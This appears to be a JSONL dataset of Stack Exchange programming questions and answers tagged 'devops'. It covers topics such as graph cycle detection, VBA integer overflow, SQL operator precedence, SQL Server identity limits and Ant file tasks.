{"id": "hf_272b65c3ceff", "question": "<p>Is there an efficient algorithm for detecting cycles within a directed graph?</p>\n<p>I have a directed graph representing a schedule of jobs that need to be executed, a job being a node and a dependency being an edge. I need to detect the error case of a cycle within this graph leading to cyclic dependencies.</p>\n", "question_body": "", "answer": "Tarjan's strongly connected components algorithm\nhas\n```\nO(|E| + |V|)\n```\ntime complexity.\nFor other algorithms, see\nStrongly connected components\non Wikipedia.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.679130"}
{"id": "hf_c820ef0df692", "question": "<p>This declaration causes an overflow in VBA:</p>\n\n<pre><code>Const OVERFLOWS As Long = 10 * 60 * 60\n</code></pre>\n\n<p>whereas setting the value directly is fine:</p>\n\n<pre><code>Const COMPILES_OK As Long = 36000\n</code></pre>\n\n<p>How do you persuade VBA to treat literal integers as longs?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Add the\n```\nlong\n```\nsuffix\n```\n&\n```\nto at least one number:\n```\n```\nConst OVERFLOWS As Long = 10& * 60 * 60\n```\n```\nNote that using the\n```\nCLNG\n```\nfunction to convert the values to\n```\nlong\n```\nwill not work, because VBA does not allow assigning the return value of a function to a constant.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.701930"}
{"id": "hf_dc888c79296b", "question": "<p>In C# Is there a way of getting a finer granularity with SQL exceptions?</p>\n\n<p>I'm aware that an aweful lot can go wrong but I want to deal with certain cases differently and parsing the Error message doesn't seem to be very elegant.</p>\n\n<p>Also Are the error messages created by the framework or are they db specific?</p>\n\n<p>For example If i have a primary key violation on INSERT is the error message going to always be:</p>\n\n<p>Violation of PRIMARY KEY constraint 'PK_tblProduct'. Cannot insert duplicate key in object 'dbo.tblProduct'.</p>\n\n<p>or is that SQLServer specific.</p>\n\n<p><strong>Update</strong></p>\n\n<p>I looks like I'm after the error number, any idea where I can get the various error numbers?</p>\n\n<p>best I can do with a quick google is:\n18456: Logon Failed\n18488: Password Expired</p>\n", "question_body": "", "answer": "If you are catching a\n```\nSqlException\n```\n, you should have access to\n```\n.Number\n```\n, which gives you the SQL error number; this is probably your best approach... (you can get the same from the\n```\nInfoMessage\n```\nevent as well for non-fatal errors).\nOf course, this won't distinguish between tables - you could argue that if you need this level of granularity, you should check first (in a serializable isolation level, ideally with UPDLOCK), raising your own error if there is conflicting data.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.738506"}
{"id": "hf_ff966d99b094", "question": "<p>I need to hide a Windows form from the taskbar but I can't use <code>WS_EX_TOOLWINDOW</code> because I need the system menu and min/max buttons on the form's title bar. </p>\n\n<p>If I switch the form to a tool window at runtime the form skinning is stuffed up. From searching on the Web I see that VB has a ShowInTaskbar property and I'm wondering if this would do what I want, and whether it can be implemented in Delphi 2006. Also this project is a COM server and has no MainForm, etc.</p>\n", "question_body": "", "answer": "With thanks to\nhttp://www.scalabium.com/faq/dct0096.htm\n.\n```\n```\nprocedure TForm1.FormCreate(Sender: TObject);\nbegin\n  ShowWindow(Application.Handle, SW_HIDE);\n  SetWindowLong(Application.Handle, GWL_EXSTYLE,\n    GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW);\n  ShowWindow(Application.Handle, SW_SHOW);\nend;\n```\n```\nI tested it and it worked with Delphi2006. And windows menu and min/max buttons are still visible.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.776208"}
{"id": "hf_bc797f26ccc0", "question": "<p>I am developing a piece of software in Python that will be distributed to my employer's customers. My employer wants to limit the usage of the software with a time-restricted license file.</p>\n<p>If we distribute the <code>.py</code> files or even <code>.pyc</code> files it will be easy to (decompile and) remove the code that checks the license file.</p>\n<p>Another aspect is that my employer does not want the code to be read by our customers, fearing that the code may be stolen or at least the &quot;novel ideas&quot;.</p>\n<p>Is there a good way to handle this problem?</p>\n", "question_body": "", "answer": "Python, being a byte-code-compiled interpreted language, is very difficult to lock down.  Even if you use a exe-packager like\npy2exe\n, the layout of the executable is well-known, and the Python byte-codes are well understood.\nUsually in cases like this, you have to make a tradeoff.  How important is it really to protect the code?  Are there real secrets in there (such as a key for symmetric encryption of bank transfers), or are you just being paranoid?  Choose the language that lets you develop the best product quickest, and be realistic about how valuable your novel ideas are.\nIf you decide you really need to enforce the license check securely, write it as a small C extension so that the license check code can be extra-hard (but not impossible!) to reverse engineer, and leave the bulk of your code in Python.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.852204"}
{"id": "hf_3fe739b0cbbf", "question": "<p>I have a list of tuples like this:</p>\n\n<pre><code>[\n('a', 1),\n('a', 2),\n('a', 3),\n('b', 1),\n('b', 2),\n('c', 1),\n]\n</code></pre>\n\n<p>I want to iterate through this keying by the first item, so, for example, I could print something like this:</p>\n\n<pre><code>a 1 2 3\nb 1 2\nc 1\n</code></pre>\n\n<p>How would I go about doing this without keeping an item to track whether the first item is the same as I loop around the tuples? This feels rather messy (plus I have to sort the list to start with)...</p>\n", "question_body": "", "answer": "```\n```\nl = [\n('a', 1),\n('a', 2),\n('a', 3),\n('b', 1),\n('b', 2),\n('c', 1),\n]\n\nd = {}\nfor x, y in l:\n    d.setdefault(x, []).append(y)\nprint d\n```\n```\nproduces:\n```\n```\n{'a': [1, 2, 3], 'c': [1], 'b': [1, 2]}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.883633"}
{"id": "hf_1b99724496fc", "question": "<p>I have a <code>TreeView</code> windows forms control with an <code>ImageList</code>, and I want some of the nodes to display images, but the others to not have images.</p>\n\n<p>I <em>don't</em> want a blank space where the image should be.  I <em>don't</em> want an image that looks like the lines that the TreeView would draw if it didn't have an ImageList.  How do I get it to draw images for some items and not others, without resorting to clumsy hacks like that?</p>\n", "question_body": "", "answer": "I tried this once and I don't think it is possible.\nIf you try to set both\n```\nImageKey\n```\nand\n```\nImageIndex\n```\nto \"not set\" values the control just defaults\n```\nImageIndex\n```\nto 0. The following code:\n```\n```\ntreeView.ImageKey = \"Value\";\nDebug.WriteLine(treeView.ImageIndex);\ntreeView.ImageKey = null;\nDebug.WriteLine(treeView.ImageIndex);\ntreeView.ImageIndex = -1;\nDebug.WriteLine(treeView.ImageIndex);\n```\n```\nProduces output:\n```\n```\n-1\n0\n0\n```\n```\nThis kind of tells you that the control developers wanted to make sure that there was always a default image. That just leaves you with the hack options I'm afraid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.906818"}
{"id": "hf_5aef34b7219e", "question": "<p>Is it possible to define an implicit conversion of enums in c#?</p>\n\n<p>something that could achieve this?</p>\n\n<pre><code>public enum MyEnum\n{\n    one = 1, two = 2\n}\n\nMyEnum number = MyEnum.one;\nlong i = number;\n</code></pre>\n\n<p>If not, why not?</p>\n", "question_body": "", "answer": "If you define the base of the enum as a long then you can perform explicit conversion. I don't know if you can use implicit conversions as enums cannot have methods defined on them.\n```\n```\npublic enum MyEnum : long\n{\n    one = 1,\n    two = 2,\n}\n\nMyEnum number = MyEnum.one;\nlong i = (long)number;\n```\n```\nAlso, be aware with this that an uninitalised enumeration will default to the 0 value, or the first item - so in the situation above it would probably be best to define\n```\nzero = 0\n```\nas well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.930183"}
{"id": "hf_aec16cf77f55", "question": "<p>Do you know a way to organize boolean expressions in a database while allowing infinite nesting of the expressions?</p>\n\n<p>Example:</p>\n\n<pre><code>a = 1 AND (b = 1 OR b = 2)\n</code></pre>\n\n<p>The expression as a whole shouldn't be stored as varchar to preserve data integrity.</p>\n", "question_body": "", "answer": "An expression is a treelike structure. So you need a way to present the tree in a table.\nYou can for example use the fields:\nID\nTypeExpression (and, or etc...)\nFirstChildID\nSecondChildID\nIn this case, you have the following types:\nAND, Children point to other expression.\nOR, Children point to other expression.\nEqual, Children point to other expression.\nLiteral, FirstChild points to an entry in a literal table.\nVariableLookup, FirstChild points to an entry in a varable table.\nBut I think there are better ways to organise expression. I once made a simple expression evaluator that accepts a string and produces a numeric result.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:09.990460"}
{"id": "hf_56ff4d6e92dd", "question": "<p>I'm looking for a dummy SQL statement that will work from a C# SQL connection to check for connectivity.</p>\n\n<p>Basically I need to send a request to the database, I don't care what it returns I just want it to be successful if the database is still there and throw an exception if the database isn't.</p>\n\n<p>The scenario I'm testing for is a loss of connectivity to the database, where the SQLConnections State property seems to still be \"Open\" but there is no connectivity.</p>\n", "question_body": "", "answer": "Most SQL databases have a 'table' for this purpose.\nIn DB2, it's:\n```\n```\nselect * from sysibm.sysdummy1\n```\n```\nwhile Oracle has, from memory,\n```\n```\nselect * from dual\n```\n```\nIt'll depend on the database at the back end.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.027380"}
{"id": "hf_e3eba364a298", "question": "<p>is it somehow possible to call a rails function or to access a rails object from within jQuery?\nI'd like to do something like:</p>\n\n<pre><code>jQuery(document).ready(function($) {\n$('#mydiv').html(\"&lt;%= @object.name %&gt;\");\n});\n</code></pre>\n\n<p>OR</p>\n\n<pre><code>jQuery(document).ready(function($) {\n$('#mydiv').html(\"&lt;%= render :partial =&gt; \"contacts\" %&gt;\");\n});\n</code></pre>\n\n<p>At the moment I'm keeping all my jQuery stuff in my application.js, which is included in my layout. Oh yeah....and I'm not using Rails Edge.</p>\n\n<p>Regards,</p>\n\n<p>Sebastian</p>\n", "question_body": "", "answer": "You'll have to have a method in the controller that will render what you need, if you want to do that. Another way to do it is to use view blocks, like in the end of your layout view\n```\n```\n<script type=\"text/javascript\">\n<%= yield :footerjs %>\n</script>\n```\n```\nand in the view do something like:\n```\n```\n<% content_for :footerjs do %>\njQuery(document).ready(function($) {\n$('#mydiv').html('<%= escape_javascript(render :partial => \"contacts\") %>');\n});\n<% end %>\n```\n```\nYou'll need to make sure that the partial you'll be rendering won't have characters that may cause javascript errors (like finishing the quotes before the end of the string, etc). Also, some browsers don't like multi-line strings, so you'll have to fiddle with that as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.088594"}
{"id": "hf_194ee05c4812", "question": "<p>I am debugging some code and have encountered the following SQL query (simplified version):</p>\n\n<pre><code>SELECT ads.*, location.county \nFROM ads\nLEFT JOIN location ON location.county = ads.county_id\nWHERE ads.published = 1 \nAND ads.type = 13\nAND ads.county_id = 2\nOR ads.county_id = 5\nOR ads.county_id = 7\nOR ads.county_id = 9\n</code></pre>\n\n<p>I'm getting very strange results from the query and I think its because the first OR is negating the AND operators that are found before it.</p>\n\n<p>This results in getting results back for ads of all types and not just for the type 13. </p>\n\n<p>Each time the query is called there may be a differnt amount of county entities that need to be looked up.</p>\n\n<p>Any help on the correct way to go about this would be appreciated.  </p>\n", "question_body": "", "answer": "Put parentheses around the \"OR\"s:\n```\n```\nSELECT ads.*, location.county \nFROM ads\nLEFT JOIN location ON location.county = ads.county_id\nWHERE ads.published = 1 \nAND ads.type = 13\nAND\n(\n    ads.county_id = 2\n    OR ads.county_id = 5\n    OR ads.county_id = 7\n    OR ads.county_id = 9\n)\n```\n```\nOr even better, use IN:\n```\n```\nSELECT ads.*, location.county \nFROM ads\nLEFT JOIN location ON location.county = ads.county_id\nWHERE ads.published = 1 \nAND ads.type = 13\nAND ads.county_id IN (2, 5, 7, 9)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.127875"}
{"id": "hf_9ee00f01121c", "question": "<p>i have a server - client application that runs on java 1.3; i want to change to java 1.6 step by step, meaning first few clients, than rest of the clients and finally server...\ni was wondering could you direct me to some common problems that can come along and what should i look after?</p>\n", "question_body": "", "answer": "Off the top of my head, look for the names\n```\nenum\n```\nand\n```\nassert\n```\nin fields and local variables... These words have become keywords in java 1.4 and 5. The java 6 compiler will mark them as compilation errors if it sees them.\nYuval =8-)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.174713"}
{"id": "hf_9cb64ea60c50", "question": "<p>I have use IlMerge to merge all the dlls of my projects in one exe. I use a targets file which is referenced in the \"import\" of the main csproj.</p>\n\n<p>The ExecCommand in the targets is:</p>\n\n<pre><code>  &lt;Exec Command=\"&amp;quot;$(ProgramFiles)\\Microsoft\\Ilmerge\\Ilmerge.exe&amp;quot; /out:@(MainAssembly) &amp;quot;@(IntermediateAssembly)&amp;quot; @(IlmergeAssemblies-&gt;'&amp;quot;%(FullPath)&amp;quot;', ' ')\" /&gt; \n</code></pre>\n\n<p>This works. </p>\n\n<p>But then I have a Setup Project, when it builds, it ignores the \"import\" and it doesn't merge the dlls. How can I use the targets file with the Setup Project?</p>\n\n<p>I have tried writing this same code for Ilmerge in the Post-build event (in properties of the project) of the main project but it gives me error code 1.</p>\n", "question_body": "", "answer": "I'd recommend that you check out the ILMerge Task in the\nMSBuild Community Tasks\n. Documentation for the ILMerge Task is included in the\ndownload\n. It will take away the complexity of specifying the exact command line arguments as you are doing now.\nOn your specific issue, other than the error code 1, are you getting any other error message as a result?  Comment, and I'll edit my response as best I can.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.206213"}
{"id": "hf_8a07864a79c8", "question": "<p>I want to use jQuery with asp.net webfoms.  Do I need to get a special toolkit so the .net controls spit out friendly Control ID's?</p>\n\n<p>Reason being, I don't want to write javascript referencing my html ID's like control_123_asdfcontrol_234.</p>\n\n<p>Has this been addressed in version 3.5?  (I remember reading you have to get some special dll that makes ID's friendly).</p>\n", "question_body": "", "answer": "You can use\n```\nmyControlId = \"<%= myControl.ClientID %>\";\n```\nto output the (non-friendly) id used to reference it in Javascript.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.297090"}
{"id": "hf_6ddaaebf8c93", "question": "<p>Can anyone recommend an SVN client for use in Excel with VBA (code modules only).  Ideally, I would also like SVN to ignore case when diffing prior to committing changes so as to avoid excessive churn in the repository (VBA has an annoying habit of changing the case of variables all over the project).</p>\n", "question_body": "", "answer": "TortoiseSVN\nintegrates well with the Windows File Explorer and allows for the integration of an external diff tool (like\nBeyond Compare\n.\nBeyond Compare\nhas a specific plugin for Visual Basic code that appears to ignore case for 'unimportant text', meaning anything\nnot\nin quotes.\nI don't think this will solve the SVN churn issue, however.  I don't believe that SVN uses the external diff program to decide whether a file has changed prior to committing, and I don't know of any way to override this behavior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.363986"}
{"id": "hf_83a05056041d", "question": "<p>Which method is preferred?</p>\n\n<pre><code>Session.Remove(\"foo\");\n\nSession[\"foo\"] = null;\n</code></pre>\n\n<p>Is there a difference?</p>\n", "question_body": "", "answer": "I would go with Remove but can not honestly say if there is a difference.  At a guess there may still be an empty key kept for that null value but not sure.  Remove would give me little doubt and if that's what you want to do it\nreads better\nin code as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.412168"}
{"id": "hf_734376412f1a", "question": "<p>I have been running Apache HTTPD in 64bit mode by stripping out the 32bit architecture from the binary (along with the ppc parts). I did this to make it more compatible for python and mysql.</p>\n\n<p>However I have another machine that needs it to be run in 32bit mode (it has all four original architectures still in it). Is it possible to make sure that it is running in 32 bit mode and that anything compiled against it uses said mode.</p>\n\n<p>Are my options limited to stripping it, or are there start up optiosn that I do not know about.</p>\n", "question_body": "", "answer": "You can use the\n```\narch(1)\n```\ncommand to change the which architecture is used. This will try Intel 32-bit first and then PPC 32-bit:\n```\n```\n% arch -i386 -ppc /usr/sbin/httpd\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.460208"}
{"id": "hf_50e5d3c1cfec", "question": "<p>I am an advocate of ORM-solutions and from time to time I am giving a workshop about Hibernate.</p>\n\n<p>When talking about framework-generated SQL, people usually start talking about how they need to be able to use \"hints\", and this is supposedly not possible with ORM frameworks.</p>\n\n<p>Usually something like: \"We tried Hibernate. It looked promising in the beginning, but when we let it loose on our very very complex production database it broke down because we were not able to apply hints!\".</p>\n\n<p>But when asked for a concrete example, the memory of those people is suddenly not so clear any more ...</p>\n\n<p>I usually feel intimidated, because the whole \"hints\"-topic sounds like voodoo to me...\nSo can anybody enlighten me? What is meant by SQL-hints or DB-Hints?</p>\n\n<p>The only thing I know, that is somehow \"hint-like\" is SELECT ... FOR UPDATE. But this is supported by the Hibernate-API...</p>\n", "question_body": "", "answer": "A SQL statement, especially a complex one, can actually be executed by the DB engine in any number of different ways (which table in the join to read first, which index to use based on many different parameters, etc).\nAn experienced dba can use hints to\nencourage\nthe DB engine to choose a particular method when it generates its execution plan. You would only normally need to do this after extensive testing and analysis of the specific queries (because the DB engines are usually pretty darn good at figuring out the optimum execution plan).\nSome MSSQL-specific discussion and syntax here:\nhttp://msdn.microsoft.com/en-us/library/ms181714.aspx\nEdit: some additional examples at\nhttp://geeks.netindonesia.net/blogs/kasim.wirama/archive/2007/12/31/sql-server-2005-query-hints.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.569894"}
{"id": "hf_f8fb2f68b2fb", "question": "<p>I got tired of trying Delphi every year hoping that I will find a stable version to upgrade from my good old Delphi 7.</p>\n\n<p>Should I bother to try Delphi 2009? Or it is as unstable as the previous versions and should I wait until Delphi 2010?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "This is kind of an open-ended question, but the short answer is that Delphi 2009 is stable, fast, and a leap forward from older versions (especially 2005).\nThe IDE has evolved a bit since Delphi 7 and has more Visual Studio and Eclipse-like features. It also has some updated controls that make building the more 'modern' Windows applications easier, like the Ribbon you see in Office. I find the response time in drag and drop operations to be a lot quicker than previous versions, and overall the reaction time in IDE operations just seem a lot snappier.\nSo far the IDE hasn't crashed on me at all, but I'm admittedly not a heavy day-to-day user. I mainly use Delphi 2009 for a side project I work on in my own time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.606832"}
{"id": "hf_1394daaa149c", "question": "<p>I need to modify a (xml-)file from Apache Ant. \"loadfile\" task allows to load the file's content in a property. But how to store the property's value back to a file after its (property) modification?</p>\n\n<p>Of course I could write custom task to perform this operation but I would like to know if there's some existing implementation.</p>\n", "question_body": "", "answer": "You can use the\necho\ntask.\n```\n```\n<echo file=\"${fileName}\" message=\"${xmlProperty}\"/>\n```\n```\nThe\nechoxml\ntask might be of interest to you as well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.634454"}
{"id": "hf_ca97a390c6cb", "question": "<p>Is it possible to obtain the maximum column length for a VARCHAR, CHAR etc?</p>\n", "question_body": "", "answer": "In pure T-SQL you can use this query:\n```\n```\nselect max_length from sys.columns as c inner join sys.objects o on c.object_id = o.object_id where o.name = 'myTable' and c.name = 'myColumn'\n```\n```\nFor linq-to-sql you need it rewrite into linq.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.682711"}
{"id": "hf_ff60032cc47a", "question": "<p>I am trying to do something like this:</p>\n<pre><code>while @nrOfAuthlevels &gt;= @myAuthLevel\nbegin\n    set @myAuthLevel = @myAuthLevel + 1 \n    SELECT      Role.name, Role.authorityLevel\n    FROM        [dbo].[Role]\n    ORDER BY Role.authorityLevel\nend\n</code></pre>\n<p>The result of this stored procedure shall be a table with all Role.authorityLevel below my own. But this generates several tables.</p>\n", "question_body": "", "answer": "Create a temp table before the loop and don't select data, but insert data to this temp table:\n```\n```\ncreate table #tmp (\n Name type,\n authorityLevel type\n)\n\nwhile @nrOfAuthlevels >= @myAuthLevel\nbegin\n        set @myAuthLevel = @myAuthLevel + 1     \n        insert into #tmp values(\n            SELECT          Role.name, Role.authorityLevel\n            FROM        [dbo].[Role]\n            where ...\n        )\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.742236"}
{"id": "hf_2f583da47112", "question": "<p>The following doesn't work, but something like this is what I'm looking for.</p>\n\n<pre><code>select *\nfrom Products\nwhere Description like (@SearchedDescription + %)\n</code></pre>\n\n<p>SSRS uses the @ operator in-front of a parameter to simulate an 'in', and I'm not finding a way to match up a string to a list of strings.</p>\n", "question_body": "", "answer": "Have you tried to do:\n```\nselect * from Products where Description like (@SearchedDescription + '%')\n```\n(Putting single quotes around the % sign?)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.772433"}
{"id": "hf_e26506a04d8e", "question": "<p>I've been developing a Smalltalk variant for just the fun of it and I wonder what would be a fellow stackoverflowers choice when it comes to targeting a back-end. These were my current considerations:</p>\n\n<p>.NET, JVM: These two VM's are mainly for statically typed languages and I assume it would be quite hard to target such a dynamic language like smalltalk.</p>\n\n<p>Python (as source code): Seems to be the simplest way. Also it would be better if I could emit Python bytecode but it's not well documented as other VM's AFAIK (Need to dig Python's source code for details!). </p>\n\n<p>Self made interpreter: Out of the question as it's no fun :-)</p>\n\n<p>LLVM, NekoVM, Parrot are other options I'm checking out. What would be your take on this?</p>\n", "question_body": "", "answer": "I would choose the JVM, but mainly because I'm familiar with it.\nObjective reasons for\nJVM\nare: main platforms are supported, many libraries and good performance (within the choices you have given it may have the best performance).\n.Net works best on Windows. If you choose it, you should test on\nMono\nto be more platform-neutral.\nPython\nseems a good choice as well. But I think for the JVM more libraries are available.\nParrot\nis in my opinion too fresh, it needs some time to mature. But an interesting alternative for the future.\nThe other choices are new to me, I will take a look at them.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.807544"}
{"id": "hf_b7ab39ab1c2a", "question": "<p>What happen when SQL Server 2005 happen to reach the maximum for an IDENTITY column? Does it start from the beginning and start refilling the gap? </p>\n\n<p>What is the behavior of SQL Server 2005 when it happen?</p>\n", "question_body": "", "answer": "You will get an overflow error when the maximum value is reached\n. If you use the bigint datatype with a maximum value of\n```\n9,223,372,036,854,775,807\n```\nthis will most likely never be the case.\nThe error message you will get, will look like this:\n```\n```\nMsg 220, Level 16, State 2, Line 10\nArithmetic overflow error for data type tinyint, value = 256.\n```\n```\n(Source)\nAs far as I know MS SQL provides no functionality to fill the identity gaps, so you will either have to do this by yourself or change the datatype of the identity column.\nIn addition to this you can set the start value to the smallest negative number, to get an even bigger range of values to use.\nHere is a good blog post about this topic\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.856521"}
{"id": "hf_587613a4bb0c", "question": "<p>I am looking to clean up some of the HTML generated by a .NET 2.0 TreeView controller.  Switching to another version/model is not an available option.</p>\n\n<p>My first crack yielded an extended TreeView, with an overridden Render that Regex'd out the text I didn't need and output to the page.</p>\n\n<p>The problem was when I tried to collapse/expanded nodes of the tree, my postback event wasn't fired.  My assumption was that I didn't need to do any more overriding as the parent TreeView controller would handle the postback events.</p>\n\n<p>What am I missing?</p>\n", "question_body": "", "answer": "Use the ASP.NET CSS Control Adapters:\nhttp://www.asp.net/CSSAdapters/TreeView.aspx\nWithout adapters both use HTML <table> tags. Control adapters can be used so that nested <ul> tags are rendered instead. A combination of CSS and JavaScript can then be used to show and hide portions of the hierarchy of the tree or menu.\n  When the CSS and JavaScript are removed the adapted HTML degrades into simple nested unordered lists that are easily interpreted by screen readers, etc. You can see this for yourself by setting the theme to None in the Theme Chooser on the left.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.927949"}
{"id": "hf_fa41b179a2c0", "question": "<p>Basically, what I want to is be able to explore an ActiveX DLL.\nI normally fire up VB 6, add the DLL to the \"References\" of the project, and use Object Explorer.</p>\n\n<p>However, in this particular machine I can't install VB / VS.<br>\nI'm sure there's a tool out there that does this. Does anyone know of one?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "Is it possible to download the component from that machine and examine it locally in Visual Studio? (That'd be my first suggestion.) (And BTW, the .NET versions of Visual Studio also feature a VB6-like Object Explorer which works nicely for this.)\nAlternatively, and it's not free, but you might try\nActiveXplorer\n. (I haven't tried this, but it looks promising.)\n(Discontinued)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:10.964485"}
